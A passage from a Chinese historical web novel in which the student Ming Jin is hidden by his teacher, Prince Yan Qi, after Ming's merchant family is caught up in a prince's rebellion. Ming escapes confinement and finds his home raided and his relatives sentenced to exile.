丁弘毅更是焦急起身,朝着太子拜下:“明瑾是老夫的学生,老夫愿以性命为他担保,他绝无与叛党同流合污的可能……” “若是他和叛党无关,那锦衣卫自然会还他一个清白,”太子眯眼道,“还是说,你不相信金指挥使的能力?” 丁弘毅一番苦口婆心的劝诫顿时卡在了喉咙眼里,他双目泛红,不知想到了什么,正要咬牙铁了心以下犯上,突然边上传来明瑾的声音:“丁先生,殿下说的没错,不如就让学生同他们走一趟吧。” 丁弘毅猛地扭头:“明瑾,你疯了?” 明瑾冲他安抚地笑了笑,又朝神色焦急的张牧他们抛去一个“放心吧”的眼神,主动走到了金柳面前。 “小兄弟若是能配合,那就再好不过了。”金柳笑眯眯道,“在下还身怀要务,就不多留了,殿下,龚院长,下官告辞。” 他向太子行了一礼,抬起手,似是不经意地按在了明瑾肩上。 “走吧。” 魏金宝望着两人离去的背影,仿佛已经看到了明瑾被锦衣卫折磨得死去活来的场面,正要咧嘴大笑,就被几道冰冷的视线刺得浑身哆嗦了一下。 他立刻看向太子:“殿下,我跟您一起!” 太子甚至懒得再多看他一眼,转身就走。 魏相这病要是再不好起来,他心想,最多两年,魏家肯定就要败在他这蠢货儿子的手里。 他看重的盟友是魏相和魏家长子,可不是这个连人眼色都不会看的傻子。 太子压下心中对于魏伯贤去向的疑虑,毫不犹豫地大步离去——对于魏金宝拿自己当枪使的行为,他的确心中不满,有心想叫这蠢货吃些苦头。 再者说,老二倒台,清算才刚刚开始,他才没工夫在这里陪一个蠢货玩过家家。 “你的靠山,好像走了啊。” 张牧狞笑着捏了捏拳头,趁着魏金宝手下那些狗腿子反应过来之前,和众人一起围住了那姓魏的。 龚万和丁弘毅也对魏金宝这等行为极为不齿,虽然明瑾主动跟着金柳走了,但两人都还牵挂着他的安危,这会儿张牧他们要收拾罪魁祸首,两位长者默默地移开视线,权当没有看见。 “你……你们要干什么?” 魏金宝眼看着自己孤立无援,顿时慌了,想要从人群缝隙里钻出去,却被张牧一把揪住了衣襟。 “干什么?”张牧狞笑一声,高高抡起拳头。 “老子干你祖宗十八代!” “——啊!!!” 魏金宝的惨叫声一直传到了书院大门,明瑾脚步一顿,转身看了一眼,幸灾乐祸地笑了起来。 真可惜啊,没能亲眼见到那姓魏的倒霉。 金柳也听到了这声惨叫,但北镇抚司牢狱里最不缺的就是这等声音,因此他不仅面不改色,甚至还有兴致点评一番:“下手还是轻了些,真正疼起来,人是没力气叫唤这么大声的。” 明瑾这才想起来,面前这位似乎是专业刑讯人员。 他想了想说道:“太疼了也不行,以魏金宝胆小的性子,锦衣卫的刑具他估计看一眼就得尿裤子,碰他一下,祖宗十八代都要交代出来了。” 金柳露出一抹笑容:“我见过不少硬骨头,软成这样的,倒是不多见。” 他偏头问明瑾:“你觉得,你算哪一种?” “……哪一种都不算。” 明瑾无语地瞥了他一眼:“我方才都看到了,大人不必吓唬我。” 两人都明白,明瑾指的是晏祁暗中嘱托金柳照顾他的事。 金柳对此似乎并不意外,只是笑了笑,看着停在面前的马车,甚至态度很好地做了一个“请”的手势。 “张牧兄,”他笑盈盈道,“请吧?” 明瑾:“…………” 这家伙,绝对是故意的!—— 作者有话说:给忘记之前剧情的宝子们提醒一下,小明第一次和金柳见面时,报的是张牧的名字[狗头] 第59章 【二合一】 那晚月色太美 “我发现你这人特较真。”明瑾讪笑道。 要不是金柳提起, 他早八百年忘记这码事了。 “有吗?”金柳竟还真露出了思索的神情,片刻后他肯定地点了点头,“应该有的。” 明瑾:“…………” 居然还自问自答上了, 这人有病吧? 他果断闭上嘴巴, 一言不发地上了马车, 金柳紧随其后,在他身旁落座。 明瑾不自在地挪了挪身子, 听到前面的车夫吆喝一声。 车轮滚滚向前。 “我们这是要去哪儿?” 明瑾忍耐了一会儿, 到底没忍住,小声问他。 金柳姿态放松地依靠在车厢上,一点儿也不避讳地歪头看着他,笑眯眯道:“连去哪儿都不知道,你就敢上车, 就这么信任我?” “……我是信先生, 才没有信你呢。” 明瑾嘟囔道:“两个老狐狸, 合起伙来骗人。” “我可没骗你。”金柳说。 明瑾懒得跟他争辩, 他看着金柳身上的暗金飞鱼服,不得不说, 人靠衣装,这笑面虎换上这身衣服,倒很有些人模狗样的感觉。 他记得晏祁告诫过自己要提防金柳,一直不敢放下戒备, 即使金柳态度温和,这次又算得上是帮了他一个大忙, 但明瑾每次见到他,都有种小动物碰到天敌似的警觉,下意识想要离对方远些。 他谨慎道:“今日的事情, 你也早就知道了吗?” “知道什么?”金柳反问,明瑾仔细瞧了他片刻,实在看不出这人究竟是真不知道还是在装傻。 “算了,当我没说。”他很快转移了话题,“所以你还没回答我刚才的问题呢,咱们这是要去哪儿?” “北镇抚司啊,”金柳笑眯眯道,“至于你要去哪儿,那就是你的事情了。当然,看在宁王殿下的面子上,本官也可以顺道送你一程。” 明瑾一愣,瞪了这个恶趣味的家伙一眼,撩起帘子,探头冲车夫道:“麻烦在经过槐花巷的时候停一下,多谢了。” “槐花巷……” 金柳若有所思,他知道槐花巷附近有不少宁王府置办的铺面,甚至可以说那一片区域,基本都在宁王的掌控之下,很适合干一些杀人放火毁尸灭迹的勾当。 但如果是面前这个少年的话…… 或许应该是金屋藏娇更恰当些? 金柳心中晒然一笑,他自然不会真的相信这种玩笑话。 宁王这种人,做事必有其章法目的,若是真把他当成耽于情爱的痴人,那晏珀早八百年就可以弄死对方了。 只是这样看来,明家或许真的和二皇子脱不了干系。 要是接下来太子查到相关线索,那自己这边,要不要让锦衣卫也出上一份力呢? 金柳一直苦恼于拿捏不了宁王的把柄,这次倒正是天赐良机,直觉告诉他,坐在自己身边的少年,在宁王心中的分量很可能比自己想象中的更重要。 毕竟明瑾对宁王的称呼,是“先生”。 金柳注视着明瑾低垂的纤长睫羽,在心中默念了一遍这两个字。 舌尖滚动间,他忽然觉得,这真是个好词儿。 若不是他听过明瑾诉说苦恼,又亲眼看到这两人亲昵拥抱,恐怕也会被宁王蒙骗过去了。 表面上看,这两人是师徒,内在情谊则堪比父子,而真正做的,却是情人间的不可告人之事。 真是有趣,他勾唇心想。 如此复杂的关系,天下有情人的贪嗔痴怨,恐怕这二位能独占八斗。 不过,金柳瞥了一眼尚且对接下来一切都毫无知觉的明瑾,心中闪过一丝怜悯之意。 他其实并不看好两人的关系。 倒是和什么世俗伦理无关,身为锦衣卫,一路从底层爬到指挥使的位置,金柳伤天害理的事情干了不知多少,他觉得宁王同自己是一类人,都不会在意这些狗屁的圣人道理。 以他对宁王的了解,这位只要认定了一件事是应当去做的,即使受万夫所指,也会一意孤行。 只是宁王当真打心底里认为,他和一个比自己小十几岁、甚至还是师徒关系的少年在一起,是一件应当做的事情吗? 恐怕不见得吧。 明瑾默默地离金柳坐远了些。 这人干嘛老盯着自己瞧? 槐花巷距离云英书院不远,在明瑾下车前,金柳忽然没头没尾地说了一句:“如果你将来碰到一件不想让他知道的事情,可以来找我。” 明瑾下车的动作一顿。 他扭头看向金柳:“什么意思?” 他没有问金柳口中的“他”是指谁,毕竟他们共同认识的人只有那么一位。 “字面意思。” 金柳朝他露出了无可奉告的笑容:“张小友,你该下车了。” 明瑾看到他这副神神叨叨的欠揍模样,忽然觉得牙根有点儿痒。 “我叫明瑾。”他硬邦邦地丢下四个字,扭头下了马车。 槐花巷,据传在本朝开国战役时,曾有一户前朝大官居住于此。这位官员性格刚烈,城破那日,将妻儿老小满门几十口人尽数杀死,自己也自刎于家中。 虽说只是个传说,明瑾连是否真的有这么个官员都不知道,但他站在原地,望着那黄昏下的巷口幽深寂静,后背没来由地一阵发凉。 这附近的商铺似乎都早早收摊了,明瑾在这儿站了半天,一个人都没看到,安静得可怕。 仿佛虚空中有无数双眼睛盯着自己,面前的巷口更是一处鬼气森森、有来无回的深渊之地。 他搓了搓胳膊上的鸡皮疙瘩,向前走去。 巷子尽头,是一扇陈旧的木门,上面还贴着一副字迹模糊的春联,依稀能辨认出“迎春辞岁”四个字。 明瑾估摸着,这春联起码是十来年前贴上的了,因为他只是轻轻碰了一下,它的一角就碎成了渣渣。 他试探着推了一把,木门并未上锁,转动时,也并没有太过生涩的触感,明瑾凑过去仔细观察了一下,发现门栓等地方都上了油,看来是有人经常来这。 那为什么不把春联撕下来换了呢? 明瑾压下心中疑惑,走进了这栋小院。 普普通通,放眼望去只有一口水井,没什么特别的。 墙角还放着笤帚、木柴和水桶等杂物,但都摆放得整齐,入门的台阶上有一处极为光滑,明瑾猜应该是有人经常坐在那里,把石头都盘包浆了。 比起明家,这地方可要小太多了。 就连败落多年的荀家宅院都远比这儿要大。 屋子里更是只有一张床、桌椅板凳等基础家具,靠墙的位置打了一整面书柜,明瑾走过去,仰头扫了一眼,发现这些书的种类很杂,从山海天文到古籍经义再到志怪传说,可谓是包罗万象。 但其中有几本,一看就是被人经常翻阅的,至于内容嘛…… 只能说,比明瑾经常在街边小摊上买的那些,档次稍微好上那么一点点。 这些书,该不会都是先生在背地里偷偷看的吧? 明瑾总觉得不太可能。 但他忽然想到了传言中,宁王府那位一直神龙见首不见尾的病世子。 虽然晏祁说过,这个身份其实是为他准备的,但明瑾怀疑以他谨慎的性格,八成是真找了一个跟他同龄的孩子从小养大,只是并不像对他一样,会亲自教导罢了。 但就算是这样,明瑾也觉得心里堵得慌。 要是这地方真是那家伙住过的,他肯定要跟晏祁好好闹一闹了! 明瑾气哼哼地一屁股坐在床上,又仰后瘫倒——先生究竟想让他来这儿找什么东西啊?话都不肯说明白,还要他自己猜…… 他翻了个身,正嘀咕着,忽然感觉到身下有一个东西在硌着自己,不禁愣了愣,撑起半边身子,仔细摸了过去。 是一个木匣子。 明瑾总觉得它有些眼熟,一边心想该不会这就是先生要自己找的东西吧,一边将它打开。 “…………” 看着木匣内熟悉的缅铃,明瑾的眼皮直跳,屁股仿佛又痛了起来。 “这老流氓!闷骚!” 他红着脸,“啪”地把木匣合上了,用了很大的力气。 他就知道,晏祁早就对他心怀不轨! 亏这人平时还装出一副若无其事高风亮节的师长模样……啧啧,真是人不可貌相。 但明瑾现在倒是不怀疑,这地方是不是别人住过的了。 要真是这样,晏祁不可能把这东西堂而皇之地放在床边。 明瑾猜测,他估计也许久没回来过了,早就忘了这码事,结果正好被自己给发现了。 过了一会儿,他又抿着唇,暗搓搓地把木匣藏在了枕头底下。 ……或许能用上呢。 虽然几次“交锋”,自己好像都是下面那个,但明瑾仍旧心怀野望,觉得自己总有一天能长得比晏祁更加高大威猛,到时候把这缅铃用在先生身上,也别有一番妙处,嘿嘿。 明瑾努力压住上扬的嘴角,重新从床上坐起身,望着窗外逐渐暗淡的天空,眉宇间渐渐露出了忧愁之色。 先生随那昏君一同回宫,也不知道现在怎么样了。 伴君如伴虎,这两次的经历算是让明瑾真正领悟到了这句话。要不是晏祁吩咐他要在这儿等着,明瑾肯定第一时间回家,再潜到宁王府等着,而不是呆坐在这儿,一头雾水地白白空耗时间。 又是一个时辰过去。 明瑾翻箱倒柜,终于在一个抽屉里找到了几根蜡烛和打火石。他点燃蜡烛,捂着肚子倒在床上,虚弱地呻.吟一声:“好饿啊……” 先生要是再不来,他真要饿死了! 躺着躺着,明瑾饿过头了,眼皮发沉,不知不觉竟睡了过去。 半梦半醒间,他似乎是做了一个噩梦,明瑾浑身冷汗,猛地睁开双眼,正好看到窗外夜色下,一道身影推门入院。 他立刻清醒了,坐直身体,警惕喝问道: “是谁!?” “我。” 明瑾反应比动作慢了半拍,直到屋内的烛光照亮了来人冷峻的眉眼,他这才发现,自己的身体竟已经提前头脑一步,迫不及待地跳下了床铺。 “先生,你没事吧?” 晏祁摇了摇头,提起手中的食盒:“没事。你还没吃晚膳吧?给你带了些,都是你爱吃的菜。” 明瑾欢呼一声,立马搬了桌椅过来,兴冲冲地准备开饭。 “先生吃过了吗?” 晏祁坐在座位上,以手支颐,隔着烛光,目光温和地注视着他。 “你吃吧,我不饿。”他说,“我看着你吃就好。” 只说不饿但没说吃过,那就是没吃。 明瑾打开食盒,发现只有一双筷子,用了一眨眼的功夫便决定由自己来给晏祁夹菜。 从晏祁一进门起,他就发现了男人神情之中遮掩不住的疲惫倦意,估计是被那皇帝老儿折腾得不轻。 再看看这螺钿点漆食盒里装着的,琳琅满目色香味俱全的菜色,每一样都合他的口味,甚至还有一些需要排长队才能买到的糕点,明瑾颇有些受宠若惊的感觉。 “先生对我真好,”他的确是饿了,一边狼吞虎咽一边幸福地眯上了眼睛,“今天发生了这么大的事,居然还想着给我带好吃的。” 晏祁轻嗯了一声。 他想,若是这孩子知道今晚发生了什么,恐怕就说不出这番话来了。 “这几天,你就不要去书院了,也别回明家,我替你和书院打声招呼,你帮我在这里做些事情。” 明瑾扒饭的动作停下了。 “什么事情?” “明早会派人来告诉你的。” “啊,我还要在这儿待几天吗?”明瑾呆住了,“可我什么都没准备啊,连换洗的衣裳都没有。” “放心,我会叫人给你送来。” 明瑾放下了筷子。 他盯着晏祁,良久,皱眉问道:“先生,是不是外面出什么事了?” “没有,”晏祁回答得很快,“你安心待着就行,二皇子的事情与你无关,也不会波及到云英书院,最多也只是扣龚万和书院先生们半年俸禄,根本不算什么大事。” “不对。” 明瑾虽然很好哄,但这并不代表他好糊弄,他一把抓住晏祁的手,感受到男人下意识的僵硬和陡然加快的脉搏,脸色更加严肃起来。 “你有事在瞒着我。” 他用的是肯定的语气。 晏祁沉默许久,叹息一声。 “如果你一定要知道的话,”他说,“明家出事了。” * 金柳虽为锦衣卫指挥使,可以不给太子面子,甚至反过来叫太子主动给他面子,但面对晏珀彻查二皇子同党的旨意,他自然得尽心竭力。 明敖是个很聪明的家伙,金柳在见到他第一面的时候就察觉到了。 这人说话滴水不漏,心理素质也相当过硬,二皇子手底下几位幕僚被送来时,连句囫囵话都说不完全了,他身戴重枷,却还能脸上带笑地朝身边人打招呼,由此可见一斑。 就是不知为何,这样的人,居然能教出那么一个天真不谙世事的儿子。 金柳仔细观察着明敖,锦衣卫破案侦察需要对人脸有着强大的记忆辨认能力,恰好,他在这方面还颇为擅长。 但无论怎么看,金柳都不觉得明瑾和他爹长得有任何相像之处。 难不成,是他夫人给他戴了顶绿帽子? 金柳被自己这个想法给逗乐了,他站在牢狱外,冲着明敖和颜悦色道:“事已至此,本官问你,你可有同党愿意招供?” 旁边的狱卒都被他这副模样吓了一跳。 金指挥使审讯,何时有过这么温柔的时候? 明敖睁开双眼,静静地看着他。 “草民并非二殿下的核心幕僚,只不过是个随拿随用的钱袋子罢了,”他诚恳道,“金大人应该明白,在商言商,草民只是一时糊涂,但确确实实没想到二殿下居然如此糊涂,竟敢犯下这等滔天大罪啊!” 金柳暂时还没找到给他定罪的切实证据。 但他相信,很快就会有的。 “那你最好再仔细想想,”他懒洋洋道,“本官接下来恐怕要忙上一段时间,若是你说的是实话,至少本官能叫你保住这条小命;但若不是的话……” 他抱着膀子,指了指惨叫声阵阵的隔壁:“这位同僚,就是你不久后的下场。” “金指挥使。” 金柳动作一僵,哀叹一声不是吧,险些撑不住笑容。 他转身看向不知何时来到北镇抚司大牢的晏祁,朝着左右冷声道:“宁王殿下来了,怎么都不通报一声?” “是我叫他们不必的,刚从宫里赶来,给指挥使添麻烦了。” 晏祁没有扭头多看牢狱内形容狼狈的明敖,金柳注意到他微微有些气喘,额头还渗着一层薄汗,看来的确赶得很急。 那姓明的少年,对他来讲就这么重要吗? 金柳愈发觉得不可置信了。 他不相信爱情,夫妻本是同林鸟,大难临头各自飞,更别提天家连血缘亲情都淡薄得可怜,宁王这情种似的做派,可真是半点也不像晏家人。 但晏祁似乎并不是来求情的,只是很客气地寒暄了两句,问过了目前调查的情况,点了点头表示自己知道了,就没有再多问什么。 倒是金柳忍不住问道:“殿下来这儿,就只是为了说这些?” 晏祁犹豫了一瞬,开口问道:“其实还有一事。” 金柳眼神很冷,唇边却挂着盈盈笑意,仿佛跟晏祁十分亲切一样:“哦?那殿下不妨一讲。” “放心,我知晓金指挥使身在其位,有诸多不易,”晏祁说道,“皇子叛乱,此事事关重大,金指挥使秉公执法即可。” “身为亲王,孤理应避嫌,只是我母亲少年时曾与明家家主有过一段交情,在锦衣卫审讯前,可否让孤同他说一会儿话?” 金柳显然没想到,晏祁大费周章地跑过来,居然只提了这么一个小要求。 他深深地看了对方一眼,见晏祁始终神色平静,似乎并不在意明敖生死,半晌,终于点头道:“自然。明敖罪名未定,若严格按照大雍律法裁定,暂时还不算戴罪之身,殿下自便吧。” “只是有一点,下官须得在边上旁听。” 晏祁:“那是自然。” 他不可能真指望金柳给他和明敖提供一个不被任何人打扰的单独空间,明敖犯的是诛九族的大罪,虽然晏祁在外面,已经用尽各种手段试图淡化他在二皇子党羽中的影响和地位,但效果如何,那就只能听天由命了。 而至于他和明敖在狱中交谈了什么…… 晏祁攥紧双拳,指甲嵌入肉里,带来阵阵刺痛。 直到现在,他想到那一幕,都依旧能感受到那股剖心之痛。 他知道身为明瑾的父亲,明敖对待这孩子,可谓是掏心掏肺。也正是因此,他纠结和痛苦半点也不比自己少。 甚至晏祁还很清楚,明敖所说的那些,都是对的。 是他错了。 是他寡廉鲜耻,是他问心有愧。 或许是那晚月色太美,叫他意乱神迷,情难自禁。 可找的理由借口再多,也无法更改事实——他的确被明瑾打动了。 有那么一瞬间,少年一往无前的勇气照亮了天地,将他对未来的悲观,化为了甘愿孤注一掷的冲动。 那一刻晏祁在想,若是有朝一日,明家夫妻恨他怨他,甚至是打他骂他,自己都认了。 这是他该的。 可晏祁怎么也没想过,明敖会用出这么狠的一招来。 他近乎贪婪地凝视着明瑾的眉眼,一遍又一遍用视线勾勒着少年的五官轮廓,直到坐在对面的明瑾渐渐停止颤抖,这才险之又险地收回了目光。 从此不敢看观音。 少年对此一无所觉。 他尚且沉浸在这个惊天噩耗之中,仿佛天崩地裂。 不知过了多久,明瑾用手背擦去泪水,猛地抬起头,咬着牙对他说:“先生,我要回家。” “不行。”晏祁轻声道,“你现在回去,就是自投罗网。” “我母亲和我妹妹都还在家!”明瑾一拳锤在桌面上,焦急道,“娘甚至还怀着身孕,你让我躲在外面避风头,对她们坐视不管?绝对不可能!” 晏祁与他对视片刻,明瑾相信他明白了自己决心,但晏祁只是摇头。 “不可能,”他说,“唯有这个,唯有这一次,我不能答应你。再说了,你就算回去,又能做什么?” 他垂眸,恍若自言自语地说道:“你什么都改变不了。” 明瑾不可置信地看着晏祁,男人说完这句话后,便拿起了空食盒,径直起身走到门外。 “先生……” 他颤抖着呼唤对方,不明白为什么晏祁对他的态度一下子变得如此冷淡。 但最终只换来了一个冷漠的背影。 “这外面,一整条街,全都是宁王府的眼线暗探,如果你有什么需要,可以直接跟他们讲。” 晏祁背对着他,身影仿佛融进了昏月的暗雾之中。 离开前,他的语气一如既往地平静:“你父亲那边,我会派人想办法,明家上下,我也会尽量照看。” “而你,哪儿也不许去。”—— 作者有话说:[墨镜]金大人的作用这时候就凸显出来了,每每在关键时刻助力小情侣更进一步,他俩结婚给你单开一桌。 第60章 【二合一】 逆子! 明瑾躺在床上, 布满血丝的双眼直愣愣地瞪着上方。 他一整晚都没睡。 不仅是因为担心家里,担心爹娘和阿囡晴儿他们,更是因为晏祁那古怪冷淡的态度。 无论是他们刚认识时、还是他小时候犯错惹晏祁生气, 明瑾都从来没见过他露出这样疏离淡漠的神情, 像是连句多余的话都不愿跟他多说, 匆匆就离开了,临走前还特意反锁上了院门。 以明瑾对他的了解, 先生一定很生气。 但好像又不是因为他, 更像是在跟自己赌气。 先生跟那皇帝回宫之后,一定是发生什么了! 至于家里的事,他也打算一并找娘问个明白。 不管怎么说,他都得先确认娘他们的安全,爹那边, 明瑾也会尽量想办法的。 明瑾一骨碌爬起来, 趁着天色未亮, 他搬来椅子, 哼哧哼哧地爬上去,正准备翻墙离开, 底下就传来一个声音: “少爷,这儿危险,您还是赶紧下去吧。” 明瑾险些一个脚滑摔在地上。 他瞠目结舌地瞪着站在院墙外的文叔:“文叔,你……你怎么会在这儿?” “来给少爷送饭, ”文叔掂量了一下手中的食盒,“顺便看着少爷您, 别随便翻墙。” 明瑾:“…………” 既然文叔在这儿,这次逃离行动肯定是百分百失败了。 明瑾一点儿也不想再体会被文叔背摔的感受,他拎上食盒, 乖乖从墙头退了下来,又绕到院门口,给文叔开了门。 “外面到底发生什么事了?”他迫不及待地问道,“我娘他们现在怎么样了?先生呢?” 文叔叹了一口气:“暂时都没事。” “暂时……” 明瑾的心却沉沉坠了下来,他知道,爹若是真被查出参与了乱党,明家上下一个都跑不掉,流放三千里都算是最好的结果了。 “我爹他,怎么好好的会去和二皇子混在一起?”他咬牙道,“咱们家不是一直都支持宁王——” 话说到一半,明瑾戛然而止。 他猛地抬头,不可置信地看向文叔:“是先生叫他去的?” 文叔没有回答,只是说:“少爷,粥要凉了,趁热喝了吧。” 但听到这个消息的明瑾怎么可能还吃得下,他一把抓住文叔的肩膀,执拗追问道:“文叔,你告诉我,是不是他让我爹去的?” 文叔张了张嘴,最后他摇了摇头,叹息道:“老奴也不知道。” 明瑾松开他,后退半步,手中的食盒落在了地上。 文叔望着少年的背影,哑声道:“少爷,或许您可以和那位好好聊一聊,他对您的好,这些年老奴和明家上下都看在眼里。” “我知道。” 明瑾的声线带着颤意。他死死攥紧拳头,五脏六腑都像是火燎般疼痛。 正是因为他知道晏祁对他有多看重,明瑾才会如此痛苦——他毫不怀疑,晏祁会为了他舍弃一切。 这个一切里,甚至是包括明家,以及晏祁自己。 可是明瑾无论如何也无法接受,自己的亲人成为那个被牺牲的对象。 “我要见他,”明瑾对文叔说,“他在哪里?他不让我离开这个院子,那总得来见我吧!” 文叔为难道:“这段时间宁王殿下不在京城,老奴也不知道他的去向……” 明瑾大感头痛。 这么关键的时候,晏祁居然离京了?他难道是不打算管明家了吗? ……不,不能这么想。 明瑾忽然惊觉自己的心乱了,他深吸一口气,告诉自己现在不能慌张,得先把事态理清楚了,才能找到突破口。 “那文叔,麻烦你把你知道的消息,什么都好,全部原原本本的告诉我。” 文叔点了点头:“可以。不过少爷,您也得听话,按时吃饭,不要再想着离开了。” 明瑾嘴上答应着,但心里却暗道,这当然是不可能的。 虽然文叔身手好,可他终究只是一个人。明瑾不相信他十二个时辰都能守在外面,耐心一些,总能被他找到机会溜走的。 …… ………… “小少爷还请回吧,莫要为难咱们了。” 在第七次翻墙出去被抓回来后,明瑾终于受不了了:“不是,他到底在这附近安排了多少人啊?” 那被他误认为是街边货郎的壮实汉子憨笑道:“小少爷在说宁王殿下吗?这一片的人家,基本都是当初昭明军的老兵和家眷,虽然不知道小少爷和宁王殿下是什么关系,不过,大家都听从殿下的命令,你呀,还是别想着随便翻墙逃跑了,也跑不出去的。” 他虽然傻,但也能看出明瑾和宁王殿下关系匪浅,不然木云不会反复跟他们强调,定不可伤了这孩子,抓到直接扭送回来就成。 明瑾垂头丧气地被丢进院子里。 望着再度在自己面前关上的木门,他恨得牙痒痒,就差没扑过去直挠门了。 这都第三天了! 文叔一直守在这儿,外面的情况变化他也不那么清楚,明瑾唯一的信息渠道就这样中断,今天好不容易甩开对方跑到了大街上,眼看着只差一点就能奔向自由,结果还是功亏一篑。 明瑾倒在床上,想着张牧他们几天看不见自己,明家又出了事,估计要急死了;还有爹娘阿囡,也不知道他们现在怎么样了…… 这几天明瑾都没怎么休息好,一闭上眼睛,满脑子都是爹娘跪在刑场上的画面,再加上食不下咽,就连文叔来给他送饭的时候都心疼得要死,说他瘦了一大圈,宁王见了肯定也得难受心疼。 等一下。 明瑾猛地翻身坐起——他知道该怎么叫晏祁主动过来见他了! 他一直怀疑晏祁是不是真的离开京城了,除非那皇帝老儿下了命令,否则在这种彻查乱党的关键时刻,宁王按理说是最不可能离京的人之一。 仔细想来,上次见面的时候晏祁也没同他说过此事,明瑾越想越觉得,很有可能是他授意文叔编纂出来,就为了让自己死心,老老实实待在这里的谎言。 即使这话是真的,晏祁现在当真不在京城,那至少宁王府肯定也少不了他的亲信在管事。 明瑾觉得那个人选八成就是木云了。 若是她代理掌管宁王府,那对自己来说,倒算得上是一件好事。 明瑾一边想一边下了床,走到院子里,探头探脑地观察了片刻,然后抱起一摞柴火,默默地回了房间。 一个时辰后。 “走水啦!走水啦!” 明瑾咚咚咚地锤院门:“文叔快开门!屋里都烧起来了,赶紧叫几个人过来一起救火!” 滚滚浓烟直冲云霄,文叔也顾不上太多,着急忙慌地开了锁,先抓着明瑾上下打量起来:“少爷您没事吧?” “没事,快,先救火!” 明瑾指了指正在冒烟的屋内,这会儿四面八方已经聚集了不少人,文叔忙着招呼着几个青壮在水井里提水,还有几个妇孺孩童在门口探头探脑地张望着。 趁这个机会,明瑾把自己从树上捉来的几只毛毛虫放在了他们的肩膀上,然后指着其中一人的肩膀大叫道:“有虫!” “啊!!!”“哎呦要死喽!” 众人惊吓得手忙脚乱地拍着冲,根本顾不上盯着他,明瑾毫不犹豫地在脸上抹了把墙灰,趁乱扭头就跑。 “呼……呼……” 他也不知道自己究竟跑了多远,因为货郎说过,这一片基本都是宁王府的眼线,明瑾根本不敢赌——这是他仅有一次的机会,若是这次再被抓回去,那他就真的没招了。 直到肺部传来火烧火燎的疼痛,浓浓的铁锈味涌上喉咙,明瑾终于停下脚步,撑着双膝,拼命喘了两口气。 等他抬头,望着周遭陌生的街巷,不禁露出了迷茫的神色—— 这是给他干哪儿来了? 事已至此,也没办法了。 明瑾只能硬着头皮往前走,希望等下能找到路人问问路,但现在天色已晚,大部分行人都回了家,他走了半天,才看到前方亮起一片隐约的灯光,估计是居民居住的区域。 走近了些,明瑾发现他们似乎正在围坐着桌边吃饭。 热气腾腾的饭菜香气自门缝中飘来,明瑾咽了咽唾沫,摸了摸饥肠辘辘的肚子,安慰自己等回家就好了。 再仔细一听,男主人一边教训儿子不可挑食,一边和妻儿讲着最近城里发生的事情。 明瑾原本打算上前敲门的动作停下了,默默地走到门外,竖起耳朵听了起来。 近来城中最大的八卦,自然是二皇子谋逆一事。 这男主人看样子是个做生意的,消息来源也比一般人要广些,他先抱怨了一通近来城里的乱象,说生意不好做,原先很多靠傍着二皇子大腿经营的酒楼都要不行了,又说其中哪个家伙别看成天大鱼大肉吃着,风光得很,私下里不知道欠了多少款来充阔气呢。 他的妻子听完,问道:“我听说,就连富如明家,也被此事牵连了?” 门外的明瑾瞳孔一缩,不由得又凑近了些。 “是啊,明家一倒,城里不知道多少牛鬼蛇神弹冠相庆呢,”那男主人不屑冷哼,“但要说给钱最爽快的,还得是明家,剩下这帮人,铁公鸡都算在夸他们了!” 他感叹道:“可惜啊,明家当初用了二十年时间在江南立足,眼见他起高楼,眼见他楼塌了,今儿我路过他们家门口,里面那个惨哦,啧啧,看来这次锦衣卫是动真格的了,从前就算抄家,哪有速度这么快的?” 明瑾不知道自己是怎么离开的。 他浑身的血液都像是被冰冻住了一般,之后屋里传来的声音,也像是隔了一层膜,模模糊糊的,听不真切。 云散去,月光洒落街道。 明瑾独自一人,站在空荡的街道上,呆呆低头看向自己脚边的影子,忽然莫名打了个寒颤。 他是一个人了,明瑾从未如此清晰地认知到这一点。 但他仍不死心,心里想着或许是以讹传讹,又或许只是那男主人看错了,明家大门敞开只是在做大扫除…… 他闷着头继续向前走,终于在街上找到了一个落单的行人,问出了明家所在的方位。 那行人显然也知道明家发生的事情,可能是他的神情太过狼狈可怜,还以为他是明家的下人,便宽慰道:“只要人没事就好,大不了再换个主家做工嘛,虽然明家给的钱多,但这年头,能混口饭吃就行了,计较太多也没用。” “不是主家。”明瑾低声道。 行人疑惑地“嗯”了一声,但明瑾没有再多说,只是向他道了声谢,随即便朝着那个方向大步走去。 他越走越快,直到奔跑起来,将身体的每一处都榨至极限——只有这样,才能减轻一些心中撕心裂肺的痛苦。 根本不是什么主家,他想。 那是他的家! 悬起的心,在明瑾来到明家时,终于沉沉地砸在了地上。 他脸色惨白,不可置信地望向这个自己曾生活了十几年的地方,到处都是一片狼藉,家具、书籍、娘的梳妆台和爹的那些珍藏……全部都没了,剩下的一些边角料被人随意丢弃在地上,肆意践踏,和他的心一样碎成了无数片。 明瑾踉跄着扶着门走进去,看到了地上残缺的灯笼里还燃着微弱的烛火,他走过去,弯腰拾起灯笼,面无表情地朝着里面走去。 整座府邸,空无一人。 但明瑾却并不觉得害怕,他太熟悉这里的一草一木了,即使被人破坏得几乎看不出原来的样子,他闭着眼也能说出那里曾经有什么。 这条廊道走到尽头就是爹娘的卧房,边上是阿囡的,因为娘怕她晚上做噩梦,特意让她睡在隔壁; 拐过弯,是他的房间,门槛上的划痕,是被他小时候用刀刻出来的,为此娘还打了他一顿。 但事后娘又后悔了,给他在后院里栽下了几颗樱桃树,从此年年硕果累累。 明瑾的脚步停在了庭院之外,他望着伫立在夜色之中的风亭,和周围歪七扭八倒塌的树木,沉默了许久,走到了亭子里。 亭子里的石桌上,还有用刀刻出来的棋格,很多年来,他都和先生在这里对弈下棋,煮酒谈天,春夏秋冬四季,望着院中的海棠树发呆。 但现在海棠树大多都被连根挖走,只剩下了几颗没人要的,枝丫也大多被砍断。 “……哥?” 一道弱弱的声音从远处传来,明瑾浑身一震,几乎要以为是自己的幻听。但当他抬头望去,看到趴在墙头红着眼睛的阿囡时,一行泪瞬间流淌下来。 “阿囡!” 一阵兵荒马乱之后,明瑾也翻到了隔壁宁府。一落地,他就迫不及待地问道:“阿囡你没事吧?娘他们人呢?” 阿囡抱着他抽泣不止,闻言,她含着泪摇头道:“我还好,官兵来的时候,娘把我送到了这边,说我是记在这家人名下的,这次的事情不会连累到我。他们……他们都被官兵抓了,说是全家流放,今晚就要出城!” 明瑾眼前一黑。 但在看到阿囡惊惶苍白的神色时,他用力咬了下舌尖,逼迫自己冷静下来——作为兄长,在爹娘都不在情况下,他必须要保护好阿囡。就算心里再慌,至少也不能让妹妹看出来! 